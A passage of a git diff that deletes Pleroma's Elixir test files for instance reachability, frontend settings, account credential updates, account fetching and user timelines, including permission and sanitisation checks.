should be tested in implementation-specific tests - describe "set_unreachable/1" do - test "returns error status on non-binary input" do - assert {:error, _} = Instances.set_unreachable(nil) - assert {:error, _} = Instances.set_unreachable(1) - end - end - - describe "set_consistently_unreachable/1" do - test "sets reachable url or host unreachable" do - url = "http://domain.com?q=" - assert Instances.reachable?(url) - - Instances.set_consistently_unreachable(url) - refute Instances.reachable?(url) - end - - test "keeps unreachable url or host unreachable" do - host = "site.name" - Instances.set_consistently_unreachable(host) - refute Instances.reachable?(host) - - Instances.set_consistently_unreachable(host) - refute Instances.reachable?(host) - end - end -end diff --git a/test/web/masto_fe_controller_test.exs b/test/web/masto_fe_controller_test.exs deleted file mode 100644 index f3b54b5f2..000000000 --- a/test/web/masto_fe_controller_test.exs +++ /dev/null @@ -1,85 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MastoFEController do - use Pleroma.Web.ConnCase - - alias Pleroma.Config - alias Pleroma.User - - import Pleroma.Factory - - setup do: clear_config([:instance, :public]) - - test "put settings", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:accounts"])) - |> put("/api/web/settings", %{"data" => %{"programming" => "socks"}}) - - assert _result = json_response(conn, 200) - - user = User.get_cached_by_ap_id(user.ap_id) - assert user.mastofe_settings == %{"programming" => "socks"} - end - - describe "index/2 redirections" do - setup %{conn: conn} do - session_opts = [ - store: :cookie, - key: "_test", - signing_salt: "cooldude" - ] - - conn = - conn - |> Plug.Session.call(Plug.Session.init(session_opts)) - |> fetch_session() - - test_path = "/web/statuses/test" - %{conn: conn, path: test_path} - end - - test "redirects not logged-in users to the login page", %{conn: conn, path: path} do - conn = get(conn, path) - - assert conn.status == 302 - assert redirected_to(conn) == "/web/login" - end - - test "redirects not logged-in users to the login page on private instances", %{ - conn: conn, - path: path - } do - Config.put([:instance, :public], false) - - conn = get(conn, path) - - assert conn.status == 302 - assert redirected_to(conn) == "/web/login" - end - - test "does not redirect logged in users to the login page", %{conn: conn, path: path} do - token = insert(:oauth_token, scopes: ["read"]) - - conn = - conn - |> assign(:user, token.user) - |> assign(:token, token) - |> get(path) - - assert conn.status == 200 - end - - test "saves referer path to session", %{conn: conn, path: path} do - conn = get(conn, path) - return_to = Plug.Conn.get_session(conn, :return_to) - - assert return_to == path - end - end -end diff --git a/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs b/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs deleted file mode 100644 index 2e6704726..000000000 --- a/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs +++ /dev/null @@ -1,529 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do - alias Pleroma.Repo - alias Pleroma.User - - use Pleroma.Web.ConnCase - - import Mock - import Pleroma.Factory - - setup do: clear_config([:instance, :max_account_fields]) - - describe "updating credentials" do - setup do: oauth_access(["write:accounts"]) - setup :request_content_type - - test "sets user settings in a generic way", %{conn: conn} do - res_conn = - patch(conn, "/api/v1/accounts/update_credentials", %{ - "pleroma_settings_store" => %{ - pleroma_fe: %{ - theme: "bla" - } - } - }) - - assert user_data = json_response_and_validate_schema(res_conn, 200) - assert user_data["pleroma"]["settings_store"] == %{"pleroma_fe" => %{"theme" => "bla"}} - - user = Repo.get(User, user_data["id"]) - - res_conn = - conn - |> assign(:user, user) - |> patch("/api/v1/accounts/update_credentials", %{ - "pleroma_settings_store" => %{ - masto_fe: %{ - theme: "bla" - } - } - }) - - assert user_data = json_response_and_validate_schema(res_conn, 200) - - assert user_data["pleroma"]["settings_store"] == - %{ - "pleroma_fe" => %{"theme" => "bla"}, - "masto_fe" => %{"theme" => "bla"} - } - - user = Repo.get(User, user_data["id"]) - - clear_config([:instance, :federating], true) - - with_mock Pleroma.Web.Federator, - publish: fn _activity -> :ok end do - res_conn = - conn - |> assign(:user, user) - |> patch("/api/v1/accounts/update_credentials", %{ - "pleroma_settings_store" => %{ - masto_fe: %{ - theme: "blub" - } - } - }) - - assert user_data = json_response_and_validate_schema(res_conn, 200) - - assert user_data["pleroma"]["settings_store"] == - %{ - "pleroma_fe" => %{"theme" => "bla"}, - "masto_fe" => %{"theme" => "blub"} - } - - assert_called(Pleroma.Web.Federator.publish(:_)) - end - end - - test "updates the user's bio", %{conn: conn} do - user2 = insert(:user) - - raw_bio = "I drink #cofe with @#{user2.nickname}\n\nsuya.." - - conn = patch(conn, "/api/v1/accounts/update_credentials", %{"note" => raw_bio}) - - assert user_data = json_response_and_validate_schema(conn, 200) - - assert user_data["note"] == - ~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe">#cofe</a> with <span class="h-card"><a class="u-url mention" data-user="#{ - user2.id - }" href="#{user2.ap_id}" rel="ugc">@<span>#{user2.nickname}</span></a></span><br/><br/>suya..) - - assert user_data["source"]["note"] == raw_bio - - user = Repo.get(User, user_data["id"]) - - assert user.raw_bio == raw_bio - end - - test "updates the user's locking status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{locked: "true"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["locked"] == true - end - - test "updates the user's chat acceptance status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{accepts_chat_messages: "false"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["pleroma"]["accepts_chat_messages"] == false - end - - test "updates the user's allow_following_move", %{user: user, conn: conn} do - assert user.allow_following_move == true - - conn = patch(conn, "/api/v1/accounts/update_credentials", %{allow_following_move: "false"}) - - assert refresh_record(user).allow_following_move == false - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["pleroma"]["allow_following_move"] == false - end - - test "updates the user's default scope", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{default_scope: "unlisted"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["source"]["privacy"] == "unlisted" - end - - test "updates the user's privacy", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{source: %{privacy: "unlisted"}}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["source"]["privacy"] == "unlisted" - end - - test "updates the user's hide_followers status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_followers: "true"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["pleroma"]["hide_followers"] == true - end - - test "updates the user's discoverable status", %{conn: conn} do - assert %{"source" => %{"pleroma" => %{"discoverable" => true}}} = - conn - |> patch("/api/v1/accounts/update_credentials", %{discoverable: "true"}) - |> json_response_and_validate_schema(:ok) - - assert %{"source" => %{"pleroma" => %{"discoverable" => false}}} = - conn - |> patch("/api/v1/accounts/update_credentials", %{discoverable: "false"}) - |> json_response_and_validate_schema(:ok) - end - - test "updates the user's hide_followers_count and hide_follows_count", %{conn: conn} do - conn = - patch(conn, "/api/v1/accounts/update_credentials", %{ - hide_followers_count: "true", - hide_follows_count: "true" - }) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["pleroma"]["hide_followers_count"] == true - assert user_data["pleroma"]["hide_follows_count"] == true - end - - test "updates the user's skip_thread_containment option", %{user: user, conn: conn} do - response = - conn - |> patch("/api/v1/accounts/update_credentials", %{skip_thread_containment: "true"}) - |> json_response_and_validate_schema(200) - - assert response["pleroma"]["skip_thread_containment"] == true - assert refresh_record(user).skip_thread_containment - end - - test "updates the user's hide_follows status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_follows: "true"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["pleroma"]["hide_follows"] == true - end - - test "updates the user's hide_favorites status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_favorites: "true"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["pleroma"]["hide_favorites"] == true - end - - test "updates the user's show_role status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{show_role: "false"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["source"]["pleroma"]["show_role"] == false - end - - test "updates the user's no_rich_text status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{no_rich_text: "true"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["source"]["pleroma"]["no_rich_text"] == true - end - - test "updates the user's name", %{conn: conn} do - conn = - patch(conn, "/api/v1/accounts/update_credentials", %{"display_name" => "markorepairs"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["display_name"] == "markorepairs" - - update_activity = Repo.one(Pleroma.Activity) - assert update_activity.data["type"] == "Update" - assert update_activity.data["object"]["name"] == "markorepairs" - end - - test "updates the user's avatar", %{user: user, conn: conn} do - new_avatar = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - assert user.avatar == %{} - - res = patch(conn, "/api/v1/accounts/update_credentials", %{"avatar" => new_avatar}) - - assert user_response = json_response_and_validate_schema(res, 200) - assert user_response["avatar"] != User.avatar_url(user) - - user = User.get_by_id(user.id) - refute user.avatar == %{} - - # Also resets it - _res = patch(conn, "/api/v1/accounts/update_credentials", %{"avatar" => ""}) - - user = User.get_by_id(user.id) - assert user.avatar == nil - end - - test "updates the user's banner", %{user: user, conn: conn} do - new_header = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - res = patch(conn, "/api/v1/accounts/update_credentials", %{"header" => new_header}) - - assert user_response = json_response_and_validate_schema(res, 200) - assert user_response["header"] != User.banner_url(user) - - # Also resets it - _res = patch(conn, "/api/v1/accounts/update_credentials", %{"header" => ""}) - - user = User.get_by_id(user.id) - assert user.banner == nil - end - - test "updates the user's background", %{conn: conn, user: user} do - new_header = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - res = - patch(conn, "/api/v1/accounts/update_credentials", %{ - "pleroma_background_image" => new_header - }) - - assert user_response = json_response_and_validate_schema(res, 200) - assert user_response["pleroma"]["background_image"] - # - # Also resets it - _res = - patch(conn, "/api/v1/accounts/update_credentials", %{"pleroma_background_image" => ""}) - - user = User.get_by_id(user.id) - assert user.background == nil - end - - test "requires 'write:accounts' permission" do - token1 = insert(:oauth_token, scopes: ["read"]) - token2 = insert(:oauth_token, scopes: ["write", "follow"]) - - for token <- [token1, token2] do - conn = - build_conn() - |> put_req_header("content-type", "multipart/form-data") - |> put_req_header("authorization", "Bearer #{token.token}") - |> patch("/api/v1/accounts/update_credentials", %{}) - - if token == token1 do - assert %{"error" => "Insufficient permissions: write:accounts."} == - json_response_and_validate_schema(conn, 403) - else - assert json_response_and_validate_schema(conn, 200) - end - end - end - - test "updates profile emojos", %{user: user, conn: conn} do - note = "*sips :blank:*" - name = "I am :firefox:" - - ret_conn = - patch(conn, "/api/v1/accounts/update_credentials", %{ - "note" => note, - "display_name" => name - }) - - assert json_response_and_validate_schema(ret_conn, 200) - - conn = get(conn, "/api/v1/accounts/#{user.id}") - - assert user_data = json_response_and_validate_schema(conn, 200) - - assert user_data["note"] == note - assert user_data["display_name"] == name - assert [%{"shortcode" => "blank"}, %{"shortcode" => "firefox"}] = user_data["emojis"] - end - - test "update fields", %{conn: conn} do - fields = [ - %{"name" => "<a href=\"http://google.com\">foo</a>", "value" => "<script>bar</script>"}, - %{"name" => "link.io", "value" => "cofe.io"} - ] - - account_data = - conn - |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) - |> json_response_and_validate_schema(200) - - assert account_data["fields"] == [ - %{"name" => "<a href=\"http://google.com\">foo</a>", "value" => "bar"}, - %{ - "name" => "link.io", - "value" => ~S(<a href="http://cofe.io" rel="ugc">cofe.io</a>) - } - ] - - assert account_data["source"]["fields"] == [ - %{ - "name" => "<a href=\"http://google.com\">foo</a>", - "value" => "<script>bar</script>" - }, - %{"name" => "link.io", "value" => "cofe.io"} - ] - end - - test "emojis in fields labels", %{conn: conn} do - fields = [ - %{"name" => ":firefox:", "value" => "is best 2hu"}, - %{"name" => "they wins", "value" => ":blank:"} - ] - - account_data = - conn - |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) - |> json_response_and_validate_schema(200) - - assert account_data["fields"] == [ - %{"name" => ":firefox:", "value" => "is best 2hu"}, - %{"name" => "they wins", "value" => ":blank:"} - ] - - assert account_data["source"]["fields"] == [ - %{"name" => ":firefox:", "value" => "is best 2hu"}, - %{"name" => "they wins", "value" => ":blank:"} - ] - - assert [%{"shortcode" => "blank"}, %{"shortcode" => "firefox"}] = account_data["emojis"] - end - - test "update fields via x-www-form-urlencoded", %{conn: conn} do - fields = - [ - "fields_attributes[1][name]=link", - "fields_attributes[1][value]=http://cofe.io", - "fields_attributes[0][name]=foo", - "fields_attributes[0][value]=bar" - ] - |> Enum.join("&") - - account = - conn - |> put_req_header("content-type", "application/x-www-form-urlencoded") - |> patch("/api/v1/accounts/update_credentials", fields) - |> json_response_and_validate_schema(200) - - assert account["fields"] == [ - %{"name" => "foo", "value" => "bar"}, - %{ - "name" => "link", - "value" => ~S(<a href="http://cofe.io" rel="ugc">http://cofe.io</a>) - } - ] - - assert account["source"]["fields"] == [ - %{"name" => "foo", "value" => "bar"}, - %{"name" => "link", "value" => "http://cofe.io"} - ] - end - - test "update fields with empty name", %{conn: conn} do - fields = [ - %{"name" => "foo", "value" => ""}, - %{"name" => "", "value" => "bar"} - ] - - account = - conn - |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) - |> json_response_and_validate_schema(200) - - assert account["fields"] == [ - %{"name" => "foo", "value" => ""} - ] - end - - test "update fields when invalid request", %{conn: conn} do - name_limit = Pleroma.Config.get([:instance, :account_field_name_length]) - value_limit = Pleroma.Config.get([:instance, :account_field_value_length]) - - long_name = Enum.map(0..name_limit, fn _ -> "x" end) |> Enum.join() - long_value = Enum.map(0..value_limit, fn _ -> "x" end) |> Enum.join() - - fields = [%{"name" => "foo", "value" => long_value}] - - assert %{"error" => "Invalid request"} == - conn - |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) - |> json_response_and_validate_schema(403) - - fields = [%{"name" => long_name, "value" => "bar"}] - - assert %{"error" => "Invalid request"} == - conn - |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) - |> json_response_and_validate_schema(403) - - Pleroma.Config.put([:instance, :max_account_fields], 1) - - fields = [ - %{"name" => "foo", "value" => "bar"}, - %{"name" => "link", "value" => "cofe.io"} - ] - - assert %{"error" => "Invalid request"} == - conn - |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) - |> json_response_and_validate_schema(403) - end - end - - describe "Mark account as bot" do - setup do: oauth_access(["write:accounts"]) - setup :request_content_type - - test "changing actor_type to Service makes account a bot", %{conn: conn} do - account = - conn - |> patch("/api/v1/accounts/update_credentials", %{actor_type: "Service"}) - |> json_response_and_validate_schema(200) - - assert account["bot"] - assert account["source"]["pleroma"]["actor_type"] == "Service" - end - - test "changing actor_type to Person makes account a human", %{conn: conn} do - account = - conn - |> patch("/api/v1/accounts/update_credentials", %{actor_type: "Person"}) - |> json_response_and_validate_schema(200) - - refute account["bot"] - assert account["source"]["pleroma"]["actor_type"] == "Person" - end - - test "changing actor_type to Application causes error", %{conn: conn} do - response = - conn - |> patch("/api/v1/accounts/update_credentials", %{actor_type: "Application"}) - |> json_response_and_validate_schema(403) - - assert %{"error" => "Invalid request"} == response - end - - test "changing bot field to true changes actor_type to Service", %{conn: conn} do - account = - conn - |> patch("/api/v1/accounts/update_credentials", %{bot: "true"}) - |> json_response_and_validate_schema(200) - - assert account["bot"] - assert account["source"]["pleroma"]["actor_type"] == "Service" - end - - test "changing bot field to false changes actor_type to Person", %{conn: conn} do - account = - conn - |> patch("/api/v1/accounts/update_credentials", %{bot: "false"}) - |> json_response_and_validate_schema(200) - - refute account["bot"] - assert account["source"]["pleroma"]["actor_type"] == "Person" - end - - test "actor_type field has a higher priority than bot", %{conn: conn} do - account = - conn - |> patch("/api/v1/accounts/update_credentials", %{ - actor_type: "Person", - bot: "true" - }) - |> json_response_and_validate_schema(200) - - refute account["bot"] - assert account["source"]["pleroma"]["actor_type"] == "Person" - end - end -end diff --git a/test/web/mastodon_api/controllers/account_controller_test.exs b/test/web/mastodon_api/controllers/account_controller_test.exs deleted file mode 100644 index f7f1369e4..000000000 --- a/test/web/mastodon_api/controllers/account_controller_test.exs +++ /dev/null @@ -1,1536 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.InternalFetchActor - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.OAuth.Token - - import Pleroma.Factory - - describe "account fetching" do - test "works by id" do - %User{id: user_id} = insert(:user) - - assert %{"id" => ^user_id} = - build_conn() - |> get("/api/v1/accounts/#{user_id}") - |> json_response_and_validate_schema(200) - - assert %{"error" => "Can't find user"} = - build_conn() - |> get("/api/v1/accounts/-1") - |> json_response_and_validate_schema(404) - end - - test "works by nickname" do - user = insert(:user) - - assert %{"id" => user_id} = - build_conn() - |> get("/api/v1/accounts/#{user.nickname}") - |> json_response_and_validate_schema(200) - end - - test "works by nickname for remote users" do - clear_config([:instance, :limit_to_local_content], false) - - user = insert(:user, nickname: "user@example.com", local: false) - - assert %{"id" => user_id} = - build_conn() - |> get("/api/v1/accounts/#{user.nickname}") - |> json_response_and_validate_schema(200) - end - - test "respects limit_to_local_content == :all for remote user nicknames" do - clear_config([:instance, :limit_to_local_content], :all) - - user = insert(:user, nickname: "user@example.com", local: false) - - assert build_conn() - |> get("/api/v1/accounts/#{user.nickname}") - |> json_response_and_validate_schema(404) - end - - test "respects limit_to_local_content == :unauthenticated for remote user nicknames" do - clear_config([:instance, :limit_to_local_content], :unauthenticated) - - user = insert(:user, nickname: "user@example.com", local: false) - reading_user = insert(:user) - - conn = - build_conn() - |> get("/api/v1/accounts/#{user.nickname}") - - assert json_response_and_validate_schema(conn, 404) - - conn = - build_conn() - |> assign(:user, reading_user) - |> assign(:token, insert(:oauth_token, user: reading_user, scopes: ["read:accounts"])) - |> get("/api/v1/accounts/#{user.nickname}") - - assert %{"id" => id} = json_response_and_validate_schema(conn, 200) - assert id == user.id - end - - test "accounts fetches correct account for nicknames beginning with numbers", %{conn: conn} do - # Need to set an old-style integer ID to reproduce the problem - # (these are no longer assigned to new accounts but were preserved - # for existing accounts during the migration to flakeIDs) - user_one = insert(:user, %{id: 1212}) - user_two = insert(:user, %{nickname: "#{user_one.id}garbage"}) - - acc_one = - conn - |> get("/api/v1/accounts/#{user_one.id}") - |> json_response_and_validate_schema(:ok) - - acc_two = - conn - |> get("/api/v1/accounts/#{user_two.nickname}") - |> json_response_and_validate_schema(:ok) - - acc_three = - conn - |> get("/api/v1/accounts/#{user_two.id}") - |> json_response_and_validate_schema(:ok) - - refute acc_one == acc_two - assert acc_two == acc_three - end - - test "returns 404 when user is invisible", %{conn: conn} do - user = insert(:user, %{invisible: true}) - - assert %{"error" => "Can't find user"} = - conn - |> get("/api/v1/accounts/#{user.nickname}") - |> json_response_and_validate_schema(404) - end - - test "returns 404 for internal.fetch actor", %{conn: conn} do - %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() - - assert %{"error" => "Can't find user"} = - conn - |> get("/api/v1/accounts/internal.fetch") - |> json_response_and_validate_schema(404) - end - - test "returns 404 for deactivated user", %{conn: conn} do - user = insert(:user, deactivated: true) - - assert %{"error" => "Can't find user"} = - conn - |> get("/api/v1/accounts/#{user.id}") - |> json_response_and_validate_schema(:not_found) - end - end - - defp local_and_remote_users do - local = insert(:user) - remote = insert(:user, local: false) - {:ok, local: local, remote: remote} - end - - describe "user fetching with restrict unauthenticated profiles for local and remote" do - setup do: local_and_remote_users() - - setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) - - setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - assert %{"error" => "This API requires an authenticated user"} == - conn - |> get("/api/v1/accounts/#{local.id}") - |> json_response_and_validate_schema(:unauthorized) - - assert %{"error" => "This API requires an authenticated user"} == - conn - |> get("/api/v1/accounts/#{remote.id}") - |> json_response_and_validate_schema(:unauthorized) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/accounts/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - end - - describe "user fetching with restrict unauthenticated profiles for local" do - setup do: local_and_remote_users() - - setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/accounts/#{local.id}") - - assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ - "error" => "This API requires an authenticated user" - } - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/accounts/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - end - - describe "user fetching with restrict unauthenticated profiles for remote" do - setup do: local_and_remote_users() - - setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/accounts/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}") - - assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ - "error" => "This API requires an authenticated user" - } - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/accounts/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - end - - describe "user timelines" do - setup do: oauth_access(["read:statuses"]) - - test "works with announces that are just addressed to public", %{conn: conn} do - user = insert(:user, ap_id: "https://honktest/u/test", local: false) - other_user = insert(:user) - - {:ok, post} = CommonAPI.post(other_user, %{status: "bonkeronk"}) - - {:ok, announce, _} = - %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => "https://honktest/u/test", - "id" => "https://honktest/u/test/bonk/1793M7B9MQ48847vdx", - "object" => post.data["object"], - "published" => "2019-06-25T19:33:58Z", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "type" => "Announce" - } - |> ActivityPub.persist(local: false) - - assert resp = - conn - |> get("/api/v1/accounts/#{user.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id}] = resp - assert id == announce.id - end - - test "deactivated user", %{conn: conn} do - user = insert(:user, deactivated: true) - - assert %{"error" => "Can't find user"} == - conn - |> get("/api/v1/accounts/#{user.id}/statuses") - |> json_response_and_validate_schema(:not_found) - end - - test "returns 404 when user is invisible", %{conn: conn} do - user = insert(:user, %{invisible: true}) - - assert %{"error" => "Can't find user"} = - conn - |> get("/api/v1/accounts/#{user.id}") - |> json_response_and_validate_schema(404) - end - - test "respects blocks", %{user: user_one, conn: conn} do - user_two = insert(:user) - user_three = insert(:user) - - User.block(user_one, user_two) - - {:ok, activity} = CommonAPI.post(user_two, %{status: "User one sux0rz"}) - {:ok, repeat} = CommonAPI.repeat(activity.id, user_three) - - assert resp = - conn - |> get("/api/v1/accounts/#{user_two.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id}] = resp - assert id == activity.id - - # Even a blocked user will deliver the full user timeline, there would be - # no point in looking at a blocked users timeline otherwise - assert resp = - conn - |> get("/api/v1/accounts/#{user_two.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id}] = resp - assert id == activity.id - - # Third user's timeline includes the repeat when viewed by unauthenticated user - resp = - build_conn() - |> get("/api/v1/accounts/#{user_three.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id}] = resp - assert id == repeat.id - - # When viewing a third user's timeline, the blocked users' statuses will NOT be shown - resp = get(conn, "/api/v1/accounts/#{user_three.id}/statuses") - - assert [] == json_response_and_validate_schema(resp, 200) - end - - test "gets users statuses", %{conn: conn} do - user_one = insert(:user) - user_two = insert(:user) - user_three = insert(:user) - - {:ok, _user_three} = User.follow(user_three, user_one) - - {:ok, activity} = CommonAPI.post(user_one, %{status: "HI!!!"}) - - {:ok, direct_activity} = - CommonAPI.post(user_one, %{ - status: "Hi, @#{user_two.nickname}.", - visibility: "direct" - }) - - {:ok, private_activity} = - CommonAPI.post(user_one, %{status: "private", visibility: "private"}) - - # TODO!!! - resp = - conn - |> get("/api/v1/accounts/#{user_one.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id}] = resp - assert id == to_string(activity.id) - - resp = - conn - |> assign(:user, user_two) - |> assign(:token, insert(:oauth_token, user: user_two, scopes: ["read:statuses"])) - |> get("/api/v1/accounts/#{user_one.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id_one}, %{"id" => id_two}] = resp - assert id_one == to_string(direct_activity.id) - assert id_two == to_string(activity.id) - - resp = - conn - |> assign(:user, user_three) - |> assign(:token, insert(:oauth_token, user: user_three, scopes: ["read:statuses"])) - |> get("/api/v1/accounts/#{user_one.id}/statuses") - |> json_response_and_validate_schema(200) - - assert [%{"id" => id_one}, %{"id" => id_two}] = resp - assert id_one == to_string(private_activity.id) - assert id_two == to_string(activity.id) - end - - test "unimplemented pinned statuses feature", %{conn: conn} do - note = insert(:note_activity) - user = User.get_cached_by_ap_id(note.data["actor"]) - - conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?pinned=true") - - assert json_response_and_validate_schema(conn, 200) == [] - end - - test "gets an users media, excludes reblogs", %{conn: conn} do - note = insert(:note_activity) - user = User.get_cached_by_ap_id(note.data["actor"]) - other_user = insert(:user) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, %{id: media_id}} = ActivityPub.upload(file, actor: user.ap_id) - - {:ok, %{id: image_post_id}} = CommonAPI.post(user, %{status: "cofe", media_ids: [media_id]}) - - {:ok, %{id: media_id}} = ActivityPub.upload(file, actor: other_user.ap_id) - - {:ok, %{id: other_image_post_id}} = - CommonAPI.post(other_user, %{status: "cofe2", media_ids: [media_id]}) - - {:ok, _announce} = CommonAPI.repeat(other_image_post_id, user) - - conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?only_media=true") - - assert [%{"id" => ^image_post_id}] = json_response_and_validate_schema(conn, 200) - - conn = get(build_conn(), "/api/v1/accounts/#{user.id}/statuses?only_media=1") - - assert [%{"id" => ^image_post_id}] = json_response_and_validate_schema(conn, 200) - end - - test "gets a user's statuses without reblogs", %{user: user, conn: conn} do - {:ok, %{id: post_id}} = CommonAPI.post(user, %{status: "HI!!!"}) - {:ok, _} = CommonAPI.repeat(post_id, user) - - conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_reblogs=true") - assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200) - - conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_reblogs=1") - assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200) - end - - test "filters user's statuses by a hashtag", %{user: user, conn: conn} do - {:ok, %{id: post_id}} = CommonAPI.post(user, %{status: "#hashtag"}) - {:ok, _post} = CommonAPI.post(user, %{status: "hashtag"}) - - conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?tagged=hashtag") - assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200) - end - - test "the user views their own timelines and excludes direct messages", %{ - user: user, - conn: conn - } do - {:ok, %{id: public_activity_id}} = - CommonAPI.post(user, %{status: ".", visibility: "public"}) - - {:ok, _direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - - conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_visibilities[]=direct") - assert [%{"id" => ^public_activity_id}] = json_response_and_validate_schema(conn, 200) - end - end - - defp local_and_remote_activities(%{local: local, remote: remote}) do - insert(:note_activity, user: local) - insert(:note_activity, user: remote, local: false) - - :ok - end - - describe "statuses with restrict unauthenticated profiles for local and remote" do - setup do: local_and_remote_users() - setup :local_and_remote_activities - - setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) - - setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - assert %{"error" => "This API requires an authenticated user"} == - conn - |> get("/api/v1/accounts/#{local.id}/statuses") - |> 